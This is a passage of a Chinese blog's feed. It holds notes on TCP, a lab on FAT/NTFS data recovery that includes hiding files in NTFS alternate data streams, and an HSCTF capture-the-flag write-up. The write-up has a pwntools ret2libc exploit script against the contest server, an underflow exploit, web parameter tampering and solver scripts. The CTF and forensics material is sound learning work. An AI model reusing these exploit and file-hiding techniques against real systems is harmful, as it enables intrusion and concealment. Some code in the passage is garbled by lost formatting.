4. 检验和 出错就丢弃<h2 id="传输控制协议TCP概述-主要特点-1-面向连接的运输层协议-2-每一条TCP连接只能由两个端点,只能一对一-3-可靠交付"><a href="#传输控制协议TCP概述-主要特点-1-面向连接的运输层协议-2-每一条TCP连接只能由两个端点,只能一对一-3-可靠交付" class="headerlink" title="传输控制协议TCP概述 ### 主要特点 1. 面向连接的运输层协议 2. 每一条TCP连接只能由两个端点,只能一对一 3. 可靠交付"></a>传输控制协议TCP概述 ### 主要特点 1. 面向连接的运输层协议 2. 每一条TCP连接只能由两个端点,只能一对一 3. 可靠交付</h2>通过tcp的数据,无差错,不丢失,不重复,按序到达 4. 提供全双工通信 5. 面向字节流 ### TCP的连接 ip:端口 ## 可靠传输的工作原理<br>tcp采取措施使两个传输层之间的通信变得可靠 特点: 传输信道不产生差错 不管发送方以多块的速度发送数据,接收方总是来的及处理收到的数据 ###<br>停止等待协议 1. 无差错情况 2. 出现差错 1. A在发送完一个分组后,必须暂时保留已发动的分组的副本 2. 分组和确认分组必循进行编号 3.<br>超市计时器设置的重传时间应当比数据在分组传输的平均往返时长长一点 3. 确认丢失和确认迟到 1. 确认丢失 丢弃这个重复的分组,并重传确认 2.<br>确认迟到 丢弃重复分组,重传确认 收到确认后什么都不做 3. 通过以上的确认和重传机制,可以在不可靠的传输网络上实现可靠的通信,曾为自动重传请求 4.<br>信道利用率 1. 利用率=(分组需要时间)/经过时间 2. 经过时间=需要时间+往返时间+确认分组需要时间 3. 流水线传输可以提高信道利用率 ###<br>连续ARQ协议 滑动窗口协议 正常情况<br>发送方几个分组连续发送出去,接受方返回确认,并且可以只发送一个确认。接受方收到确认,再发几个分组出去。如果接受方只接收到部分数据 ##<br>TCP报文段的首部格式 1. 源端口和目的端口 2. 序号 3. 确认号 4. 数据偏移 5. 保留 6. 紧急URG 7. 确认ACK<br>8. 推送PSH 9. 复位RST 10. 同步SYN 11. 终止FIN 12. 窗口 13. 检验和 14. 紧急指针 15. 选项<h2 id="TCP可靠传输的实现-以字节为单位的滑动窗口-超时重传时间的选择-比往返时间RTT长一点-选择确认SACK"><a href="#TCP可靠传输的实现-以字节为单位的滑动窗口-超时重传时间的选择-比往返时间RTT长一点-选择确认SACK" class="headerlink" title="TCP可靠传输的实现 ### 以字节为单位的滑动窗口 ### 超时重传时间的选择 比往返时间RTT长一点 ### 选择确认SACK"></a>TCP可靠传输的实现 ### 以字节为单位的滑动窗口 ### 超时重传时间的选择 比往返时间RTT长一点 ### 选择确认SACK</h2>TCP的流量控制 ### 利用滑动窗口实现流量控制 流量控制就是发送方别发的太快,让接收方来得及接接收 发送方的发送窗口不能超过接受方给出的接收窗口的数值<h3 id="TCP的传输效率-TCP的拥塞控制-拥塞控制的一般原理-对资源的需求总和-gt-可用资源-TCP的拥塞控制方法"><a href="#TCP的传输效率-TCP的拥塞控制-拥塞控制的一般原理-对资源的需求总和-gt-可用资源-TCP的拥塞控制方法" class="headerlink" title="TCP的传输效率 ## TCP的拥塞控制 ### 拥塞控制的一般原理 对资源的需求总和 > 可用资源 ### TCP的拥塞控制方法"></a>TCP的传输效率 ## TCP的拥塞控制 ### 拥塞控制的一般原理 对资源的需求总和 > 可用资源 ### TCP的拥塞控制方法</h3>主动队列管理AQM ## TCP的运输连接管理 # 第六章 应用层 ## 网络应用层模型 ## DNS系统 ## 文件传输协议FTP ## 电子邮件 ##<br>万维网和HTTP协议</li></ul>]]></content>
<summary type="html"><h1 id="这是👉计网小笔记👈的摘要"><a href="#这是👉计网小笔记👈的摘要" class="headerlink" title="这是👉计网小笔记👈的摘要"></a><a href="../../../../2020/07/24/cnblog_13374692/">这是👉计网小笔记👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>数据恢复之FAT和NTFS</title>
<link href="http://sharun.xyz/2020/07/17/cnblog_13331754/"/>
<id>http://sharun.xyz/2020/07/17/cnblog_13331754/</id>
<published>2020-07-17T02:09:00.000Z</published>
<updated>2020-11-09T11:26:55.072Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉数据恢复之FAT和NTFS👈的摘要"><a href="#这是👉数据恢复之FAT和NTFS👈的摘要" class="headerlink" title="这是👉数据恢复之FAT和NTFS👈的摘要"></a><a href="../../../../2020/07/17/cnblog_13331754/">这是👉数据恢复之FAT和NTFS👈的摘要</a></h1><a id="more"></a><p>放假了,把这个学期学到的东西整理出来发一下,主要是一些学习笔记和实验之类的。 如果有师弟用的到的话,不要感谢我,感谢楷哥和牟哥<br><img src="https://img2020.cnblogs.com/blog/1619455/202007/1619455-20200717181945570-1889109604.png"></p><h1 id="FAT文件系统-文件系统-放个大佬写的吧,很详细了(平时学的时候我也没做笔记)"><a href="#FAT文件系统-文件系统-放个大佬写的吧,很详细了(平时学的时候我也没做笔记)" class="headerlink" title="FAT文件系统 ## 文件系统 放个大佬写的吧,很详细了(平时学的时候我也没做笔记)"></a>FAT文件系统 ## 文件系统 放个大佬写的吧,很详细了(平时学的时候我也没做笔记)</h1><p><a href="https://blog.csdn.net/li_wen01/article/details/79929730">https://blog.csdn.net/li_wen01/article/details/79929730</a></p><h3 id="实验操作-DBR结构"><a href="#实验操作-DBR结构" class="headerlink" title="实验操作 DBR结构"></a>实验操作 DBR结构</h3><p><img src="https://uploader.shimo.im/f/F55SUAypobvhxxs3.png!thumbnail" alt="图片"> 总扇区号 8465232<br>每扇区512 每个簇8个扇区 DBR的保留扇区数:34 FAT的个数:2 FAT的扇区数:8251<br><img src="https://uploader.shimo.im/f/b59CK1EYPBsp0y9W.png!thumbnail" alt="图片"><br>Fat2=fat1+fat扇区数 = 34+8251=8285<br><img src="https://uploader.shimo.im/f/8jSYVy5XhWp4e3Xo.png!thumbnail" alt="图片"><br>FDT的位置:=34+2<em>8251=16536<br><img src="https://uploader.shimo.im/f/YnFWgkNFxCxSrhBm.png!thumbnail" alt="图片"> 扔了一个png进去<br><img src="https://uploader.shimo.im/f/8vQIvJxNIWyegtho.png!thumbnail" alt="图片"><br>名称相同。起始簇号0000 0005<br><img src="https://uploader.shimo.im/f/H6lkU49boLr2Giac.png!thumbnail" alt="图片"><br>在fat1找到文件,结束簇号是300 16536+(5-2)</em>8=16560扇区 跳到5号簇,可以看到PNG文件头<br><img src="https://uploader.shimo.im/f/FR1iTKO7UQCvYFMB.png!thumbnail" alt="图片"> 结束簇号 删除文件<br><img src="https://uploader.shimo.im/f/cAeWmGMkzJOpaxeP.png!thumbnail" alt="图片"> 簇表回到原来<br>目录项第一个字节变为E5,其他没有改变<br><img src="https://uploader.shimo.im/f/A6XbzxoL4vdI8uMM.png!thumbnail" alt="图片"><br>数据区没变,把文件直接复制出来<br><img src="https://uploader.shimo.im/f/5f9ZLCCva7TN0Mcx.png!thumbnail" alt="图片"><br>这个是簇号按顺序排列的时候,如果未按顺序,应该按照FAT表项的簇表顺序排列文件内容。<br><img src="https://uploader.shimo.im/f/9YQrDmZYJUvTsqZd.png!thumbnail" alt="图片"> 恢复成功<br><img src="https://uploader.shimo.im/f/xjgZtnYuZY0lyKNx.png!thumbnail" alt="图片"> 用0000覆盖目录区<br>用取证大师成功恢复。。。 <img src="https://uploader.shimo.im/f/wqQ9TW9d7iUiLj7g.png!thumbnail" alt="图片"><br>连我格式化之前的好多东西都恢复出来了,,,<br><img src="https://uploader.shimo.im/f/g315rQKxP73Gl3Fe.png!thumbnail" alt="图片"><br><img src="https://uploader.shimo.im/f/odRDVji6bO816d7J.png!thumbnail" alt="图片"> 再把图片扔进去,删掉。。<br>就覆盖一个图片头吧 <img src="https://uploader.shimo.im/f/Ob0y4Da5qAUUBDAh.png!thumbnail" alt="图片"><br>嗯,用取证大师没恢复出来,按理说目录里应该有这个文件的吧<br><img src="https://uploader.shimo.im/f/Kyzyv0NTd3OO6ml2.png!thumbnail" alt="图片"> 创建一个文件夹和子文件夹<br><img src="https://uploader.shimo.im/f/Or0og1GHdgKWBSuy.png!thumbnail" alt="图片"> 创建时间毫秒 A2<br>创建时间 61 87 10000 (16)111011 (59)00001 (1) 16.59.1 创建日期 0101000 0101 00010<br>2020.5.2 最后访问日期 0101000 0101 00010 2020.5.2 最后修改时间 62 87 10000 (16)111011<br>(59)00010 (2) 16.59.2 最后修改日期 0101000 0101 00010 2020.5.2 文件夹大小为0, 起始簇号0000<br>0005还是在5号簇,把文件扔进去<br><img src="https://uploader.shimo.im/f/cDRymJ9961MuqBzy.png!thumbnail" alt="图片"><br>有一个Son子目录,上级目录在0号簇,根目录 创建时间毫秒 9c 创建时间 65 87 10000 (16)111011 (59)00101 (5)<br>创建日期 0101000 0101 00010 2020.5.2 最后访问日期 A2 50 0101000 0101 00010 2020.5.2<br>最后修改时间 66 87 10000 (16)111011 (59)00110 (6) 最后修改日期 A2 50 0101000 0101 00010<br>2020.5.2 文件夹大小为0, 簇号 0000 0006 在6号簇,跳到6号 可以看到2E2E的上级目录在5号簇,就是刚刚那个<br>有个1.jpg,簇号132(16)=306(10)在306簇<br><img src="https://uploader.shimo.im/f/BwSMup4tjnXnAqUN.png!thumbnail" alt="图片"> ## 隐藏文件 创建文件<br>在底层找到文件 <img src="https://uploader.shimo.im/f/awkzbWMWjMZdM6pg.png!thumbnail" alt="图片"><br>放到DBR区 <img src="https://uploader.shimo.im/f/L5FNHmfc9omDMzAp.png!thumbnail" alt="图片"><br>放到fat区中 <img src="https://uploader.shimo.im/f/CuvXA4oZxMp3uaQG.png!thumbnail" alt="图片"><br>放到dir中 <img src="https://uploader.shimo.im/f/yaSkJ1Ehd0STuk35.png!thumbnail" alt="图片"><br>data区中 <img src="https://uploader.shimo.im/f/pT2zMZiZOx4drJUS.png!thumbnail" alt="图片"> 覆盖掉文件<br><img src="https://uploader.shimo.im/f/DoV0yLig4wRIWKx2.png!thumbnail" alt="图片"> dir也覆盖掉<br><img src="https://uploader.shimo.im/f/Njsa8U96CYmxrlc0.png!thumbnail" alt="图片"> 看不见文件了<br>上面几个位置的内容还在 但是新建文件后把文件内容覆盖了一半,再新建文件还出错。<br><img src="https://uploader.shimo.im/f/Z6n89wmGL5Fli0XI.png!thumbnail" alt="图片"><br><img src="https://uploader.shimo.im/f/y4Yviiseq4gQFwV7.png!thumbnail" alt="图片"> 把这个内容删了 fat区<br>只会从之后开始写, <img src="https://uploader.shimo.im/f/lijw2g3J6dipE1iH.png!thumbnail" alt="图片"><br>新建文件,把簇改成坏簇 <img src="https://uploader.shimo.im/f/l9xFO1jaLC53APun.png!thumbnail" alt="图片"><br>删掉dir,文件里看不到了,内容还在坏簇里<br><img src="https://uploader.shimo.im/f/98zC77cr46fTtcI7.png!thumbnail" alt="图片"> ## DBR恢复<br>先查看MBR分区表 <img src="https://uploader.shimo.im/f/4akxICaxD3NcK3pZ.png!thumbnail" alt="图片"><br>-————-第1个分区—————– 000203000C210E138000000000B00400 00<br>020300 磁头号 00000010 2 扇区号 000000 0 柱面号 1100000000 768 0C 210E13 磁头号 00100001<br>33 扇区号 000011 3 柱面号 1000010011 531 地址 00000080 16 =( 128 )10 大小 0004B000 16 =(<br>307200 )10 -————-第2个分区—————–<br>00210F1307FE3F4B80B0040000F80D00 00 210F13 磁头号 00100001 33 扇区号 000011 3 柱面号<br>1100010011 787 07 FE3F4B 磁头号 11111110 254 扇区号 001111 15 柱面号 1101001011 843 地址<br>0004B080 16 =( 307328 )10 大小 000DF800 16 =( 915456 )10<br>跳到128号扇区,查看第一个分区,这应该是损害的FAT分区,分区的DBR被覆盖.<br><img src="https://uploader.shimo.im/f/5x9d5w3AnK4NXKBe.png!thumbnail" alt="图片"> 修复DBR<br>先看看备份DBR怎么样了,备份DBR也被覆盖<br><img src="https://uploader.shimo.im/f/ipZTSwr3aLe1vSYd.png!thumbnail" alt="图片"> 恢复DBR,需要<br>保留扇区数,FAT表个数(通常为2),每FAT表大小扇区数,根目录簇号(通常为2号簇),每扇区数,分区前隐含扇区数及分区大小扇区数.<br>找一下FAT表,搜索”F8FFFF”,这是FAT1<br><img src="https://uploader.shimo.im/f/x47UrGSok9CaW64f.png!thumbnail" alt="图片"> 这是FAT2<br><img src="https://uploader.shimo.im/f/WZPAtQhQZRpmdeUB.png!thumbnail" alt="图片"><br><img src="https://uploader.shimo.im/f/RpGzd1iwXsRcbdlJ.png!thumbnail" alt="图片"><br>7735-7150=585扇区 FAT1大小为585扇区 7150-128 = 7,022 保留扇区 7022扇区<br>根目录应该在7735+585=8,320扇区<br><img src="https://uploader.shimo.im/f/kHcju4dtrfU1j1QG.png!thumbnail" alt="图片"><br>通过子目录每簇扇区数,查找”2E20202020202020202020”(就是”.”,表示本目录)<br><img src="https://uploader.shimo.im/f/yhTdK5VrppmcoXxP.png!thumbnail" alt="图片"><br>这里有一个,这个目录在8324扇区,目录显示在0x00000003号,既3号簇 根目录在2号簇 (8324-8320)/(3-2)=4 既每簇4扇区<br>找一个FAT分区的DBR,重构DBR<br><img src="https://uploader.shimo.im/f/iIAlQm9jugUPfTAN.png!thumbnail" alt="图片"> # NtFS ##<br>文件系统 <a href="https://blog.csdn.net/enjoy5512/article/details/50935972/">NTFS文件系统详解</a><br>属性:NTFS中,所有与数据相关的信息都被称为属性,如文件名属性,时间属性,文件内容被称为数据属性.<br>元文件:NTFS文件系统被创建时,同时会建立一些重要的系统信息,用来管理文件系统,这些系统信息是以文件的形式存在的,被称为元文件,以$符号开头,是系统隐藏文件,用户不可直接访问.<br>Dir也不能查看. 逻辑簇号:既对分区内的第一个簇到最后一个簇进行编号,NTFS使用逻辑簇号对簇进行定位。<br>虚拟簇号:既将文件所占用的簇从开头到尾进行编号的,虚拟簇号不要求在物理上是连续的。 ### 实验操作 查看$BOOT<br><img src="https://uploader.shimo.im/f/Dzo9ILR0TnzrpelQ.png!thumbnail" alt="图片"> 每扇区大小 512字节<br>每簇大小 8 扇区 每磁头扇区数 63 每柱面磁头数 255 隐藏扇区数 64 分区大小 8465231簇 $MFT的开始簇号 262144簇<br>$MFTmirr开始簇号 2 262144<em>4096=1073741824 跳转到 262144簇<br><img src="https://uploader.shimo.im/f/0OQP1PyYUZGL2JLk.png!thumbnail" alt="图片"><br><img src="https://uploader.shimo.im/f/rkUlvhLkFvwfJgff.png!thumbnail" alt="图片"> 根目录在$MFT<br>第6个文件记录,偏移是1024</em>5=5120 1073741824+5120 = 1073746944 1073780736 找到文件<br><img src="https://uploader.shimo.im/f/kSgP1OQ7zAlOmZmU.png!thumbnail" alt="图片"> 80 属性为常驻属性<br>修改文件,加大文件 <img src="https://uploader.shimo.im/f/eGF2PqZQzliWbiZQ.png!thumbnail" alt="图片"><br>80属性变为非常驻属性 runlist 0x31 01 c3d804 位置 0x04d8c3 = 317635 跳到317635簇<br><img src="https://uploader.shimo.im/f/GmihDaEAo5Q4XzAt.png!thumbnail" alt="图片"> 找到文件内容 删除此文件<br><img src="https://uploader.shimo.im/f/HmMvQFReZx2QBjRE.png!thumbnail" alt="图片"> 文件头 0x10 位 从<br>0x0100 变成了 0x20000,加了1,表示文件被删除 创建文件夹 找到根目录<br><img src="https://uploader.shimo.im/f/PsUig3zvTLo0udp0.png!thumbnail" alt="图片"> 0x31 01<br>D72B08 0x082BD7=4284088 跳到 4284088簇 找到根目录<br><img src="https://uploader.shimo.im/f/SCdpA1Oranm3oDZ2.png!thumbnail" alt="图片"> 找到文件加的索引<br><img src="https://uploader.shimo.im/f/Uvh3OtrXUe1h3uKA.png!thumbnail" alt="图片"><br><img src="https://uploader.shimo.im/f/krDiWo1bKnnE8oWZ.png!thumbnail" alt="图片"> 0x26=38<br>跳到38编号 <img src="https://uploader.shimo.im/f/WSteTT2y2SV8NTtf.png!thumbnail" alt="图片"> 0x2f<br>= 47 跳到47编号 <img src="https://uploader.shimo.im/f/kzgtbHQ87tzixWHU.png!thumbnail" alt="图片"><br>找到文件 0x2e = 46 跳到46<br><img src="https://uploader.shimo.im/f/JrDW02Ex3w59iVej.png!thumbnail" alt="图片"> 找到文件 ## 隐藏文件<br>DBR <img src="https://uploader.shimo.im/f/WWIOMFJTVqniscRO.png!thumbnail" alt="图片"> 其他文件的MFT<br><img src="https://uploader.shimo.im/f/aOI01P7KgduOckiD.png!thumbnail" alt="图片"> data末尾<br><img src="https://uploader.shimo.im/f/bapWRGt6zw8mij6e.png!thumbnail" alt="图片"> 删掉文件 找到文件<br><img src="https://uploader.shimo.im/f/003hRRe1qylbZW1H.png!thumbnail" alt="图片"> 恢复文件<br>多了个recycle.bin目录 ,文件头发生变化 覆盖文件80属性<br><img src="https://uploader.shimo.im/f/7JrWzSGLkF2gC3HV.png!thumbnail" alt="图片"> 后面肯定是不能覆盖的<br>无法恢复文件 <img src="https://uploader.shimo.im/f/D8uDD8zej02zIa9O.png!thumbnail" alt="图片"><br>之前隐藏的文件还在原来的位置上 ## NTFS文件流隐藏 使用命令 ```plain type flag.txt>>fack.txt:flag.txt</p><pre><code class="隐藏文件">找到文件位置 48编号 ![图片](https://uploader.shimo.im/f/OZediVPSXa1Zjbvg.png!thumbnail)找到文件流,常驻属性,后面就是文件的内容 找一个大于1kb的文件,隐藏![图片](https://uploader.shimo.im/f/TQzr5pHLeCwjaxD5.png!thumbnail)这个文件流的80为非常驻属性 0x31 01 E3D804 0x04D8E3 = 317667 在317667簇![图片](https://uploader.shimo.im/f/YqRGxVcjZRIYJl8M.png!thumbnail)找到文件![图片](https://uploader.shimo.im/f/OCUykj7z1cvNlRDz.png!thumbnail)使用取证大师自动恢复,可以恢复出隐藏文件流</code></pre>]]></content>
<summary type="html"><h1 id="这是👉数据恢复之FAT和NTFS👈的摘要"><a href="#这是👉数据恢复之FAT和NTFS👈的摘要" class="headerlink" title="这是👉数据恢复之FAT和NTFS👈的摘要"></a><a href="../../../../2020/07/17/cnblog_13331754/">这是👉数据恢复之FAT和NTFS👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>HSCTF WP ——Lun4R</title>
<link href="http://sharun.xyz/2020/06/06/cnblog_13054815/"/>
<id>http://sharun.xyz/2020/06/06/cnblog_13054815/</id>
<published>2020-06-05T23:14:00.000Z</published>
<updated>2020-11-09T11:26:55.079Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉HSCTF-WP-——Lun4R👈的摘要"><a href="#这是👉HSCTF-WP-——Lun4R👈的摘要" class="headerlink" title="这是👉HSCTF WP ——Lun4R👈的摘要"></a><a href="../../../../2020/06/06/cnblog_13054815/">这是👉HSCTF WP ——Lun4R👈的摘要</a></h1><a id="more"></a><p>-– title: HSCTF WP ——Lun4R date: 2020-06-06 categories: - wp tags: - HSCTF<br>-– 和小伙伴们一起做了一下HSCTF,这竟然是给高中举办的CTF比赛。MISC思路是非常新颖啊。。。 # MISC ## My First<br>Calculator <img src="https://uploader.shimo.im/f/QqKPsZcsk9QoP0SS.png!thumbnail" alt="图片"></p><h2 id="CNC"><a href="#CNC" class="headerlink" title="CNC "></a>CNC <img src="https://uploader.shimo.im/f/oJX9xUKmJ5Oyuu9w.png!thumbnail" alt="图片"></h2><p>恢复数据,导出文件,在mp4最后发现part3 压缩包有密码,在表格中发现密码 passw0rd ## Glad Bags 一个ELF<br>发现7z压缩包,提取出来,发现是个项目emmm ## Mad Libs<br><img src="https://uploader.shimo.im/f/gCQ3yHE016r0Ritf.png!thumbnail" alt="图片"><br>stegsolve跑一遍发现红绿蓝色道最低位位平面上方存在隐写,data extract直接出flag<br><img src="https://uploader.shimo.im/f/VDts7MH7mppJVKAo.png!thumbnail" alt="图片"> ## Comments<br>下载下来是一个压缩包 <img src="https://uploader.shimo.im/f/AoTPxnnaoVrjAN11.png!thumbnail" alt="图片"><br><img src="https://uploader.shimo.im/f/wfymDqOcrJ76zqFr.png!thumbnail" alt="图片"><br><img src="https://uploader.shimo.im/f/QTG6iQLmVCEWMi3t.png!thumbnail" alt="图片"><br>一层压缩包注释就有一位flag ## Meta Mountains<br><img src="https://uploader.shimo.im/f/kWmKWIIIJ3UNeXY3.png!thumbnail" alt="图片"><br>查看图片属性直接拿flag ## N-95<br><img src="https://uploader.shimo.im/f/HiUy7vPK7doIDCzV.png!thumbnail" alt="图片"><br>修成这样以后就没得办法了……25 x 25应该是没跑的 直接去网站识别就行了,残缺的部分涂成灰的 ## Emojis <code>plain 😊♈🎤 😊♉🎤 😊♊🎤 😊♋🎤 😊♌🎤 😊♍🎤 😊♎🎤 😊♏🎤 😊♐🎤 😊♑🎤 😊♒🎤 😊♓🎤 😊🕙🎤 😵♉🕙 😈♓♈ 😵♉♍ 😊♊♏ 😈♉♌ 😇♑♎ 😵♌♑ 😊🕐♋ 😈♊💖 😊♋🕙 😊🕙🕐 😇♉♏ 😈♉♋ 😇♈♓ 😇♊💞 😇♋💕 😵♋♍ 😊🕕🎤 😵♌♑ 😇♌♑ 😇♓💜 😈♒💖 😇♏♐ 😈♍♎ 😵♒💞 😇♎♐ 😇♐💖 😈♈♊ 😈♌♓ 😇♊♊ 😈♏♓ 😵♒💔 😈♑♉ 😊📢♈ 😊📢♉ 😊📢♊ 😊📢♋ 😊📢♌ 😊📢♍ 😊📢♎ 😊📢♏ 😊📢♐ 😊📢♑ 😊📢♒ 😊📢♓ 😊📢🕙 </code> 深奥的编程语言。跟鬼一样。。。 我去找找 <code>plain https://www.emojicode.org/ 这个比较像c。。不是这个 </code><br><img src="https://uploader.shimo.im/f/1RZiS0VTtrximbYI.png!thumbnail" alt="图片"> <code>plain https://esolangs.org/wiki/Emoji https://github.com/vpzomtrrfrt/emoji.py 也不像 </code> <code>plain https://esolangs.org/wiki/DubDubMachine Brainfuck derivatives 还是不像 也不是 https://esolangs.org/wiki/EmojiCoder 找到了找到了 https://esolangs.org/wiki/Emoji-gramming </code><br><img src="https://uploader.shimo.im/f/Fo26D9RInbKpDm73.png!thumbnail" alt="图片"> 这24个是变量名<br>🎤是输入 📢是输出 <img src="https://uploader.shimo.im/f/hV4oTkynMYMs8DCq.png!thumbnail" alt="图片"><br>看逻辑 <code>plain if♉🕙 sub♓♈ if♉♍ MOV♊♏ sub♉♌ ADD♑♎ if♌♑ MOV🕐♋ sub♊8 MOV♋🕙 MOV🕙🕐 ADD♉♏ sub♉♋ ADD♈♓ ADD♊4 ADD♋2 if♋♍ MOV🕕🎤 if♌♑ ADD♌♑ ADD♓1 sub♒8 ADD♏♐ sub♍♎ if♒4 ADD♎♐ ADD♐8 sub♈♊ sub♌♓ ADD♊♊ sub♏♓ if♒0 sub♑♉ </code> 改成人稍微能看懂点的。。。 <code>plain a=input() b=input() c=input() d=input() e=input() f=input() g=input() h=input() i=input() j=input() k=input() l=input() E=input() if(b != E): l=l-a if(b != f): c=h b=b-e j=j+g if(e!=j): A=d c=c-8 d=E E=A b=b+h b=b-d a=a+1 c=c+4 d=d+2 #if(d!=f): if(e!=j): e=e+j l=l+1 k=k-8 h=h+i f=f-g if(k!=4): g=g+i i=i+8 a=a-c e=e-l c=c+c h=h-l if(k!=0): j=j-b #print(abcdefjhijklE) #xB^r_En}INc4v </code> 逆算法 <code>python s="xB^r_En}INc4v" a=ord(s[0]) b=ord(s[1]) c=ord(s[2]) d=ord(s[3]) e=ord(s[4]) f=ord(s[5]) g=ord(s[6]) h=ord(s[7]) i=ord(s[8]) j=ord(s[9]) k=ord(s[10]) l=ord(s[11]) E=ord(s[12]) if(k!=0): j=j+b h=h+l c=c/2 e=e+l a=a+c i=i-8 #print(k) if(k!=4): g=g-i f=f+g h=h-i k=k+8 l=l-1 print(e,j) if(e-j!=j): e=e-j d=d-2 c=c-4 a=a-l b=b+d b=b-h A=E E=d d=A c=c+8 #print(e,f) j=j-g b=b+e #print(b,f) if(b!=f): h=c if(b!=E): l=l+a print(a,b,c,d,e,f,j,h,i,j,k,l,E) #116.0 69 51.0 118 3 114 99 51.0 65 99 107 167.0 112 </code> ## evil stego<br><img src="https://uploader.shimo.im/f/gLtNo25pGZAwNTBc.png!thumbnail" alt="图片"> 肯定找最简单的下手</p><pre><code class="plain">base64 encoded! ``` 显然rot13 ```plain Lbh'er trggvat NRF juvyr V bayI trgEBG13? You're getting AES while I onlV get ROT13? ``` # Pwn ## pwn1 直接NC ##pwn2 远程偏移0xd0 ## pwn3 from pwn import * from LibcSearcher import *#p=process('./pwnagotchi') context.log_level='debug'p=remote('pwn.hsctf.com',5005) p.recvuntil('name: \n') pad='a'*20pop_rdi=0x00000000004009f3 puts_plt=4195932 puts_got=6295576 main=0x400846func1=0x4007e7 func2=0x400801 #gdb.attach(p)payload=pad+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(func1)+p64(func2)+p64(main)p.sendline(payload) p.recvuntil('!\n') addr=u64(p.recv(6).ljust(8,'\x00'))libc = LibcSearcher('puts',addr) libc_base=addr-libc.dump('puts') print"libc_base:" +hex(libc_base) p.recvuntil('name: \n') #gdb.attach(p)payload2=pad+p64(libc_base+0x4f2c5)#one_gadget p.send(payload2)p.interactive() # re ## re1 c='inagzgkpm)Wl&Tg;&io;' c1='' for i inrange(len(c)): c1+=chr(ord(c[i])+i) print (c1) c2='' for b in range(len(c1)):for i in range(0x20,0x7e): if((i+len(str(int(i))))==ord(c1[b])): c2+=chr(i) ##print (c2)re2 ```java import java.util.Scanner; public class re { publicstatic void main(String[] args) { String inp = "1dd3|y_3tttb5g`q]^dhn3j"; for(int i = 0; i < 3; i++) { inp = xor(inp); inp = re(inp); }System.out.print(inp); } public static String xor(String input) { int[] xor ={4, 1, 3, 1, 2, 1, 3, 0, 1, 4, 3, 1, 2, 0, 1, 4, 1, 2, 3, 2, 1, 0, 3}; Stringret = ""; for (int i = 0; i < input.length(); i++) { ret += (char)(input.charAt(i) ^ xor[i]); } return ret; } public static String re(Stringinput) { char[] arr=new char[23]; String ret = ""; int[] transpose ={11,18,15,19,8,17,5,2,12,6,21,0,22,7,13,14,4,16,20,1,3,10,9}; String flag ="";for(int i=0;i<23;i++){ /*System.out.print(transpose[i]);*/ arr[transpose[i]]=input.charAt(i); } System.out.print(arr); for (int a = 0; a< 23; a++) {System.out.print(a); ret+=arr[a] ; } return ret; } //flag{n0t_t00_b4d_r1ght}``` ## too-much 输入的数没有正负判断,导致下溢 from pwn import * context.log_level='debug'p=remote('rev.hsctf.com',9001) p.interactive() #sned -1 -2 发送后会收到一大串内容,flag就在其中 #recv 102 108 97 103 123 116 111 111 95 109 117 99 104 95 116 111 95104 97 110 100 108 101 125 10 解密flaga=[102,108,97,103,123,116,111,111,95,109,117,99,104,95,116,111,95,104,97,110,100,108,101,125]flag='' for i in range(len(a)): flag+=chr(a[i]) print(flag)#flag{too_much_to_handle} # Web ## Blurry Eyes![图片](https://uploader.shimo.im/f/rbf7zM3vy9qyL7sa.png!thumbnail) f12直接拿flag## Debt Simulator![图片](https://uploader.shimo.im/f/AMpgg6hcHEcg9Zr3.png!thumbnail)查看执行的js脚本发现每次Next Round都会向这个URL发出请求![图片](https://uploader.shimo.im/f/twB4Qc1iq0P7SHkM.png!thumbnail) 访问这个URL发现![图片](https://uploader.shimo.im/f/x8f8dVvBZ5pRv2le.png!thumbnail)在下一次发包时抓包,把func参数改getgetgetgetgetgetgetgetgetFlag即可拿到flag # CRYPT ## xorred```plain Key1 = 0x5dcec311ab1a88ff66b69ef46d4aba1aee814fe00a4342055c146533 a=0x9a13ea39f27a12000e083a860f1bd26e4a126e68965cc48bee3fa11b d=0x557ce6335808f3b812ce31c7230ddea9fb32bbaeaf8f0d4a540b4f05 c=0x7b33428eb14e4b54f2f4a3acaeab1c2733e4ab6bebc68436177128eb b =0x996e59a867c171397fc8342b5f9a61d90bda51403ff6326303cb865a e=0x306d34c5b6dda0f53c7a0f5a2ce4596cfea5ecb676169dd7d5931139 key3=Key1^aKey4=key3^b Key5=c^Key1^Key4 Key2=d^key3^Key5 flag=e^Key1^Key2^key3^Key4^Key5print(hex(flag)) ```</code></pre>]]></content>
<summary type="html"><h1 id="这是👉HSCTF-WP-——Lun4R👈的摘要"><a href="#这是👉HSCTF-WP-——Lun4R👈的摘要" class="headerlink" title="这是👉HSCTF WP ——Lun4R👈的摘要"></a><a href="../../../../2020/06/06/cnblog_13054815/">这是👉HSCTF WP ——Lun4R👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>服务器运维抓包练习</title>
<link href="http://sharun.xyz/2020/05/19/cnblog_12919431/"/>
<id>http://sharun.xyz/2020/05/19/cnblog_12919431/</id>
<published>2020-05-19T04:48:00.000Z</published>
<updated>2020-11-09T11:26:55.083Z</updated>
